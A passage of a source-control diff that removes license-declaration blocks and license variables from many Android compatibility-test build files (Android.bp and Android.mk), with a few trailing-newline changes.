--- a/tests/signature/api-check/hidden-api-blocklist-27-api/Android.bp
+++ b/tests/signature/api-check/hidden-api-blocklist-27-api/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsHiddenApiBlocklistApi27TestCases",
defaults: [
diff --git a/tests/signature/api-check/hidden-api-blocklist-28-api/Android.bp b/tests/signature/api-check/hidden-api-blocklist-28-api/Android.bp
index 7c9f844..8aa4d36 100644
--- a/tests/signature/api-check/hidden-api-blocklist-28-api/Android.bp
+++ b/tests/signature/api-check/hidden-api-blocklist-28-api/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsHiddenApiBlocklistApi28TestCases",
defaults: [
diff --git a/tests/signature/api-check/hidden-api-blocklist-current-api/Android.bp b/tests/signature/api-check/hidden-api-blocklist-current-api/Android.bp
index 67e5742..a0031cb 100644
--- a/tests/signature/api-check/hidden-api-blocklist-current-api/Android.bp
+++ b/tests/signature/api-check/hidden-api-blocklist-current-api/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsHiddenApiBlocklistCurrentApiTestCases",
defaults: [
diff --git a/tests/signature/api-check/hidden-api-blocklist-debug-class/Android.bp b/tests/signature/api-check/hidden-api-blocklist-debug-class/Android.bp
index 38e68c9..c21810a 100644
--- a/tests/signature/api-check/hidden-api-blocklist-debug-class/Android.bp
+++ b/tests/signature/api-check/hidden-api-blocklist-debug-class/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsHiddenApiBlocklistDebugClassTestCases",
defaults: [
diff --git a/tests/signature/api-check/hidden-api-blocklist-test-api/Android.bp b/tests/signature/api-check/hidden-api-blocklist-test-api/Android.bp
index 4ee2db5..89621ca 100644
--- a/tests/signature/api-check/hidden-api-blocklist-test-api/Android.bp
+++ b/tests/signature/api-check/hidden-api-blocklist-test-api/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsHiddenApiBlocklistTestApiTestCases",
defaults: [
diff --git a/tests/signature/api-check/hidden-api-killswitch-debug-class/Android.bp b/tests/signature/api-check/hidden-api-killswitch-debug-class/Android.bp
index d6a1c14..5e88438 100644
--- a/tests/signature/api-check/hidden-api-killswitch-debug-class/Android.bp
+++ b/tests/signature/api-check/hidden-api-killswitch-debug-class/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsHiddenApiKillswitchDebugClassTestCases",
defaults: ["hiddenapi-killswitch-check-defaults"],
diff --git a/tests/signature/api-check/hidden-api-killswitch-sdklist/Android.bp b/tests/signature/api-check/hidden-api-killswitch-sdklist/Android.bp
index 5384558..b5c594b 100644
--- a/tests/signature/api-check/hidden-api-killswitch-sdklist/Android.bp
+++ b/tests/signature/api-check/hidden-api-killswitch-sdklist/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsHiddenApiKillswitchSdkListTestCases",
defaults: ["hiddenapi-killswitch-check-defaults"],
diff --git a/tests/signature/api-check/hidden-api-killswitch-wildcard/Android.bp b/tests/signature/api-check/hidden-api-killswitch-wildcard/Android.bp
index 1be25d4..599a8a1 100644
--- a/tests/signature/api-check/hidden-api-killswitch-wildcard/Android.bp
+++ b/tests/signature/api-check/hidden-api-killswitch-wildcard/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsHiddenApiKillswitchWildcardTestCases",
defaults: ["hiddenapi-killswitch-check-defaults"],
diff --git a/tests/signature/api-check/shared-libs-api/Android.mk b/tests/signature/api-check/shared-libs-api/Android.mk
index 3128444..92c66d1 100644
--- a/tests/signature/api-check/shared-libs-api/Android.mk
+++ b/tests/signature/api-check/shared-libs-api/Android.mk
@@ -28,8 +28,6 @@
include $(CLEAR_VARS)
LOCAL_MODULE := cts-shared-libs-all.api
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
LOCAL_MODULE_STEM := shared-libs-all.api.zip
LOCAL_MODULE_CLASS := ETC
LOCAL_MODULE_PATH = $(TARGET_OUT_DATA_ETC)
@@ -51,8 +49,6 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_MODULE := cts-api-signature-multilib-test
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
LOCAL_SDK_VERSION := test_current
diff --git a/tests/signature/api-check/system-annotation/Android.bp b/tests/signature/api-check/system-annotation/Android.bp
index eb36adc..c0364bf 100644
--- a/tests/signature/api-check/system-annotation/Android.bp
+++ b/tests/signature/api-check/system-annotation/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsSystemApiAnnotationTestCases",
defaults: [
diff --git a/tests/signature/api-check/system-api/Android.mk b/tests/signature/api-check/system-api/Android.mk
index 6649ed8..cd3bc47 100644
--- a/tests/signature/api-check/system-api/Android.mk
+++ b/tests/signature/api-check/system-api/Android.mk
@@ -26,8 +26,6 @@
include $(CLEAR_VARS)
LOCAL_MODULE := cts-system-all.api
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
LOCAL_MODULE_STEM := system-all.api.zip
LOCAL_MODULE_CLASS := ETC
LOCAL_MODULE_PATH = $(TARGET_OUT_DATA_ETC)
diff --git a/tests/signature/api/Android.bp b/tests/signature/api/Android.bp
index b8d94c4..b177f21 100644
--- a/tests/signature/api/Android.bp
+++ b/tests/signature/api/Android.bp
@@ -12,16 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- // See: http://go/android-license-faq
- // A large-scale-change added 'default_applicable_licenses' to import
- // all of the 'license_kinds' from "cts_license"
- // to get the below license kinds:
- // SPDX-license-identifier-Apache-2.0
- // SPDX-license-identifier-NCSA
- default_applicable_licenses: ["cts_license"],
-}
-
genrule_defaults {
name: "signature-cts-api-api-gz",
cmd: "$(location metalava) --no-banner --compatible-output=no -convert2xmlnostrip $(in) $(genDir)/api.xml && gzip -c $(genDir)/api.xml > $(out)",
diff --git a/tests/signature/api/Android.mk b/tests/signature/api/Android.mk
index 0184940..d91f511 100644
--- a/tests/signature/api/Android.mk
+++ b/tests/signature/api/Android.mk
@@ -21,8 +21,6 @@
define build_xml_api_file
include $(CLEAR_VARS)
LOCAL_MODULE := cts-$(subst .,-,$(1))
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0 SPDX-license-identifier-NCSA
-LOCAL_LICENSE_CONDITIONS := notice
LOCAL_MODULE_STEM := $(1)
LOCAL_MODULE_CLASS := ETC
LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests sts
diff --git a/tests/signature/dex-checker/Android.bp b/tests/signature/dex-checker/Android.bp
index 3da3119..1e4f649 100644
--- a/tests/signature/dex-checker/Android.bp
+++ b/tests/signature/dex-checker/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_library_shared {
name: "libcts_dexchecker",
diff --git a/tests/signature/intent-check/Android.bp b/tests/signature/intent-check/Android.bp
index b56996a..fc26be9 100644
--- a/tests/signature/intent-check/Android.bp
+++ b/tests/signature/intent-check/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsIntentSignatureTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/signature/lib/android/Android.bp b/tests/signature/lib/android/Android.bp
index bcad041..546190a 100644
--- a/tests/signature/lib/android/Android.bp
+++ b/tests/signature/lib/android/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library {
name: "cts-signature-common",
visibility: [
diff --git a/tests/signature/lib/common/Android.bp b/tests/signature/lib/common/Android.bp
index 05c5f11..81a9f8c 100644
--- a/tests/signature/lib/common/Android.bp
+++ b/tests/signature/lib/common/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library_static {
name: "signature-common-javalib",
visibility: [
diff --git a/tests/signature/tests/Android.bp b/tests/signature/tests/Android.bp
index 0269746..1077b40 100644
--- a/tests/signature/tests/Android.bp
+++ b/tests/signature/tests/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "signature-host-tests",
srcs: ["src/**/*.java"],
diff --git a/tests/simplecpu/jni/Android.bp b/tests/simplecpu/jni/Android.bp
index bd9a640..000173d 100644
--- a/tests/simplecpu/jni/Android.bp
+++ b/tests/simplecpu/jni/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test_library {
name: "libctscpu_jni",
srcs: ["CpuNativeJni.cpp"],
diff --git a/tests/suspendapps/Android.bp b/tests/suspendapps/Android.bp
index e593b5b..2dfcb5c 100644
--- a/tests/suspendapps/Android.bp
+++ b/tests/suspendapps/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
filegroup {
name: "CtsSuspendHelpersConstants",
srcs: [
diff --git a/tests/suspendapps/permission/Android.bp b/tests/suspendapps/permission/Android.bp
index 071d1bd..70278bc 100644
--- a/tests/suspendapps/permission/Android.bp
+++ b/tests/suspendapps/permission/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsSuspendAppsPermissionTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/suspendapps/test-apps/SuspendTestApp/Android.bp b/tests/suspendapps/test-apps/SuspendTestApp/Android.bp
index 376c4c8..cade030 100644
--- a/tests/suspendapps/test-apps/SuspendTestApp/Android.bp
+++ b/tests/suspendapps/test-apps/SuspendTestApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsSuspendTestApp",
defaults: ["cts_support_defaults"],
diff --git a/tests/suspendapps/test-apps/TestDeviceAdmin/Android.bp b/tests/suspendapps/test-apps/TestDeviceAdmin/Android.bp
index 8af8053..4bd551b 100644
--- a/tests/suspendapps/test-apps/TestDeviceAdmin/Android.bp
+++ b/tests/suspendapps/test-apps/TestDeviceAdmin/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsSuspendTestDeviceAdmin",
defaults: ["cts_support_defaults"],
diff --git a/tests/suspendapps/tests/Android.bp b/tests/suspendapps/tests/Android.bp
index 5f5475c..5c56724 100644
--- a/tests/suspendapps/tests/Android.bp
+++ b/tests/suspendapps/tests/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsSuspendAppsTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/accounts/Android.bp b/tests/tests/accounts/Android.bp
index 912c81d..7e60638 100644
--- a/tests/tests/accounts/Android.bp
+++ b/tests/tests/accounts/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsAccountManagerTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.bp b/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.bp
index c297a83..2b2980d 100644
--- a/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.bp
+++ b/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsUnaffiliatedAccountAuthenticators",
defaults: ["cts_support_defaults"],
diff --git a/tests/tests/accounts/common/Android.bp b/tests/tests/accounts/common/Android.bp
index 16400f5..35d01fb 100644
--- a/tests/tests/accounts/common/Android.bp
+++ b/tests/tests/accounts/common/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library {
name: "CtsAccountTestsCommon",
// Includes all the java files, and explicitly declares any aidl files
diff --git a/tests/tests/animation/Android.bp b/tests/tests/animation/Android.bp
index 5741930..d8cbf4d 100644
--- a/tests/tests/animation/Android.bp
+++ b/tests/tests/animation/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsAnimationTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/apache-http/Android.bp b/tests/tests/apache-http/Android.bp
index 4f75917..9167002 100644
--- a/tests/tests/apache-http/Android.bp
+++ b/tests/tests/apache-http/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsApacheHttpTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/app.usage/Android.bp b/tests/tests/app.usage/Android.bp
index 9bccb8c..75dac41 100644
--- a/tests/tests/app.usage/Android.bp
+++ b/tests/tests/app.usage/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsUsageStatsTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/app.usage/TestApp1/Android.bp b/tests/tests/app.usage/TestApp1/Android.bp
index cba5df5..b1c4ced 100644
--- a/tests/tests/app.usage/TestApp1/Android.bp
+++ b/tests/tests/app.usage/TestApp1/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsUsageStatsTestApp1",
defaults: ["cts_defaults"],
diff --git a/tests/tests/app/Android.bp b/tests/tests/app/Android.bp
index 3c9e5bf..f090495 100644
--- a/tests/tests/app/Android.bp
+++ b/tests/tests/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsAndroidAppTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/appcomponentfactory/Android.bp b/tests/tests/appcomponentfactory/Android.bp
index 27edc67..7c889cf 100644
--- a/tests/tests/appcomponentfactory/Android.bp
+++ b/tests/tests/appcomponentfactory/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsAppComponentFactoryTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/appenumeration/Android.bp b/tests/tests/appenumeration/Android.bp
index 5d510eb..9cbbcaa 100644
--- a/tests/tests/appenumeration/Android.bp
+++ b/tests/tests/appenumeration/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsAppEnumerationTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/appenumeration/app/source/Android.bp b/tests/tests/appenumeration/app/source/Android.bp
index d2901e0..731a19c 100644
--- a/tests/tests/appenumeration/app/source/Android.bp
+++ b/tests/tests/appenumeration/app/source/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_defaults {
name: "CtsAppEnumerationQueriesDefaults",
srcs: ["src/**/*.java"],
@@ -285,3 +281,4 @@
"general-tests",
],
}
+
diff --git a/tests/tests/appenumeration/app/target/Android.bp b/tests/tests/appenumeration/app/target/Android.bp
index 55f08c4..cd1eb18 100644
--- a/tests/tests/appenumeration/app/target/Android.bp
+++ b/tests/tests/appenumeration/app/target/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAppEnumerationForceQueryable",
manifest: "AndroidManifest-forceQueryable.xml",
diff --git a/tests/tests/appenumeration/lib/Android.bp b/tests/tests/appenumeration/lib/Android.bp
index 56873ca..1b53acc 100644
--- a/tests/tests/appenumeration/lib/Android.bp
+++ b/tests/tests/appenumeration/lib/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library {
name: "CtsAppEnumerationTestLib",
srcs: ["src/**/*.java"],
diff --git a/tests/tests/appop/Android.bp b/tests/tests/appop/Android.bp
index 48f9647..4779f43 100644
--- a/tests/tests/appop/Android.bp
+++ b/tests/tests/appop/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test_library {
name: "libCtsAppOpsTestCases_jni",
diff --git a/tests/tests/appop/AppInBackground/Android.bp b/tests/tests/appop/AppInBackground/Android.bp
index 40aac43..baa001a 100644
--- a/tests/tests/appop/AppInBackground/Android.bp
+++ b/tests/tests/appop/AppInBackground/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "AppInBackground",
diff --git a/tests/tests/appop/AppThatCanBeForcedIntoForegroundStates/Android.bp b/tests/tests/appop/AppThatCanBeForcedIntoForegroundStates/Android.bp
index 2928c5e..fb06b6e 100644
--- a/tests/tests/appop/AppThatCanBeForcedIntoForegroundStates/Android.bp
+++ b/tests/tests/appop/AppThatCanBeForcedIntoForegroundStates/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "AppThatCanBeForcedIntoForegroundStates",
@@ -29,4 +25,4 @@
"cts",
"general-tests",
]
-}
+}
\ No newline at end of file
diff --git a/tests/tests/appop/AppThatUsesAppOps/Android.bp b/tests/tests/appop/AppThatUsesAppOps/Android.bp
index a80f8d3..d4b546c 100644
--- a/tests/tests/appop/AppThatUsesAppOps/Android.bp
+++ b/tests/tests/appop/AppThatUsesAppOps/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test_library {
name: "libAppThatUsesAppOps_jni",
sdk_version: "current",
@@ -63,4 +59,4 @@
"cts",
"general-tests",
]
-}
+}
\ No newline at end of file
diff --git a/tests/tests/appop/AppToBlame1/Android.bp b/tests/tests/appop/AppToBlame1/Android.bp
index 7f61da8..9867a6a 100644
--- a/tests/tests/appop/AppToBlame1/Android.bp
+++ b/tests/tests/appop/AppToBlame1/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAppToBlame1",
@@ -23,4 +19,4 @@
"cts",
"general-tests",
]
-}
+}
\ No newline at end of file
diff --git a/tests/tests/appop/AppToBlame2/Android.bp b/tests/tests/appop/AppToBlame2/Android.bp
index d56247d..e11008c 100644
--- a/tests/tests/appop/AppToBlame2/Android.bp
+++ b/tests/tests/appop/AppToBlame2/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAppToBlame2",
@@ -23,4 +19,4 @@
"cts",
"general-tests",
]
-}
+}
\ No newline at end of file
diff --git a/tests/tests/appop/AppToCollect/Android.bp b/tests/tests/appop/AppToCollect/Android.bp
index ce08997..1706aea 100644
--- a/tests/tests/appop/AppToCollect/Android.bp
+++ b/tests/tests/appop/AppToCollect/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAppToCollect",
@@ -23,4 +19,4 @@
"cts",
"general-tests",
]
-}
+}
\ No newline at end of file
diff --git a/tests/tests/appop/AppWithAttributionInheritingFromExisting/Android.bp b/tests/tests/appop/AppWithAttributionInheritingFromExisting/Android.bp
index 2677c7e..10f916a 100644
--- a/tests/tests/appop/AppWithAttributionInheritingFromExisting/Android.bp
+++ b/tests/tests/appop/AppWithAttributionInheritingFromExisting/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "AppWithAttributionInheritingFromExisting",
@@ -23,4 +19,4 @@
"cts",
"general-tests",
]
-}
+}
\ No newline at end of file
diff --git a/tests/tests/appop/AppWithAttributionInheritingFromSameAsOther/Android.bp b/tests/tests/appop/AppWithAttributionInheritingFromSameAsOther/Android.bp
index 43d19e3..2214391 100644
--- a/tests/tests/appop/AppWithAttributionInheritingFromSameAsOther/Android.bp
+++ b/tests/tests/appop/AppWithAttributionInheritingFromSameAsOther/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "AppWithAttributionInheritingFromSameAsOther",
@@ -23,4 +19,4 @@
"cts",
"general-tests",
]
-}
+}
\ No newline at end of file
diff --git a/tests/tests/appop/AppWithAttributionInheritingFromSelf/Android.bp b/tests/tests/appop/AppWithAttributionInheritingFromSelf/Android.bp
index f91b619..2317c70 100644
--- a/tests/tests/appop/AppWithAttributionInheritingFromSelf/Android.bp
+++ b/tests/tests/appop/AppWithAttributionInheritingFromSelf/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "AppWithAttributionInheritingFromSelf",
@@ -23,4 +19,4 @@
"cts",
"general-tests",
]
-}
+}
\ No newline at end of file
diff --git a/tests/tests/appop/AppWithDuplicateAttribution/Android.bp b/tests/tests/appop/AppWithDuplicateAttribution/Android.bp
index d290843..f1e7068 100644
--- a/tests/tests/appop/AppWithDuplicateAttribution/Android.bp
+++ b/tests/tests/appop/AppWithDuplicateAttribution/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "AppWithDuplicateAttribution",
@@ -23,4 +19,4 @@
"cts",
"general-tests",
]
-}
+}
\ No newline at end of file
diff --git a/tests/tests/appop/AppWithLongAttributionTag/Android.bp b/tests/tests/appop/AppWithLongAttributionTag/Android.bp
index b971b0d..f5afd4e 100644
--- a/tests/tests/appop/AppWithLongAttributionTag/Android.bp
+++ b/tests/tests/appop/AppWithLongAttributionTag/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "AppWithLongAttributionTag",
@@ -23,4 +19,4 @@
"cts",
"general-tests",
]
-}
+}
\ No newline at end of file
diff --git a/tests/tests/appop/AppWithTooManyAttributions/Android.bp b/tests/tests/appop/AppWithTooManyAttributions/Android.bp
index 77ccfac..d681b21 100644
--- a/tests/tests/appop/AppWithTooManyAttributions/Android.bp
+++ b/tests/tests/appop/AppWithTooManyAttributions/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "AppWithTooManyAttributions",
@@ -23,4 +19,4 @@
"cts",
"general-tests",
]
-}
+}
\ No newline at end of file
diff --git a/tests/tests/appop/aidl/AppOpsForegroundControlService/Android.bp b/tests/tests/appop/aidl/AppOpsForegroundControlService/Android.bp
index b077110..4b4b0a0 100644
--- a/tests/tests/appop/aidl/AppOpsForegroundControlService/Android.bp
+++ b/tests/tests/appop/aidl/AppOpsForegroundControlService/Android.bp
@@ -12,14 +12,10 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library {
name: "AppOpsForegroundControlServiceAidl",
srcs: [
"src/**/*.aidl"
],
-}
+}
\ No newline at end of file
diff --git a/tests/tests/appop/aidl/AppOpsUserService/Android.bp b/tests/tests/appop/aidl/AppOpsUserService/Android.bp
index 85563a1..d894734 100644
--- a/tests/tests/appop/aidl/AppOpsUserService/Android.bp
+++ b/tests/tests/appop/aidl/AppOpsUserService/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
aidl_interface {
name: "AppOpsUserServiceAidlNative",
unstable: true,
diff --git a/tests/tests/appop/appopsTestUtilLib/Android.bp b/tests/tests/appop/appopsTestUtilLib/Android.bp
index bc95a5b..935909c 100644
--- a/tests/tests/appop/appopsTestUtilLib/Android.bp
+++ b/tests/tests/appop/appopsTestUtilLib/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library {
name: "appops-test-util-lib",
diff --git a/tests/tests/appwidget/Android.bp b/tests/tests/appwidget/Android.bp
index afdd641..461b18d 100644
--- a/tests/tests/appwidget/Android.bp
+++ b/tests/tests/appwidget/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
filegroup {
name: "CtsAppWidgetSources",
srcs: [
diff --git a/tests/tests/appwidget/packages/launchermanifest/Android.bp b/tests/tests/appwidget/packages/launchermanifest/Android.bp
index 0c953a8..313667e 100644
--- a/tests/tests/appwidget/packages/launchermanifest/Android.bp
+++ b/tests/tests/appwidget/packages/launchermanifest/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAppWidgetLauncher1",
defaults: ["cts_defaults"],
diff --git a/tests/tests/appwidget/packages/widgetprovider/Android.bp b/tests/tests/appwidget/packages/widgetprovider/Android.bp
index 316ad8c..c4a64a8 100644
--- a/tests/tests/appwidget/packages/widgetprovider/Android.bp
+++ b/tests/tests/appwidget/packages/widgetprovider/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAppWidgetProvider1",
defaults: ["cts_defaults"],
diff --git a/tests/tests/assist/Android.bp b/tests/tests/assist/Android.bp
index ba74a85..0f2e412 100644
--- a/tests/tests/assist/Android.bp
+++ b/tests/tests/assist/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsAssistTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/assist/common/Android.bp b/tests/tests/assist/common/Android.bp
index b82668d..35bfbb1 100644
--- a/tests/tests/assist/common/Android.bp
+++ b/tests/tests/assist/common/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library {
name: "CtsAssistCommon",
srcs: ["src/**/*.java"],
diff --git a/tests/tests/assist/service/Android.bp b/tests/tests/assist/service/Android.bp
index c21a601..20beec5 100644
--- a/tests/tests/assist/service/Android.bp
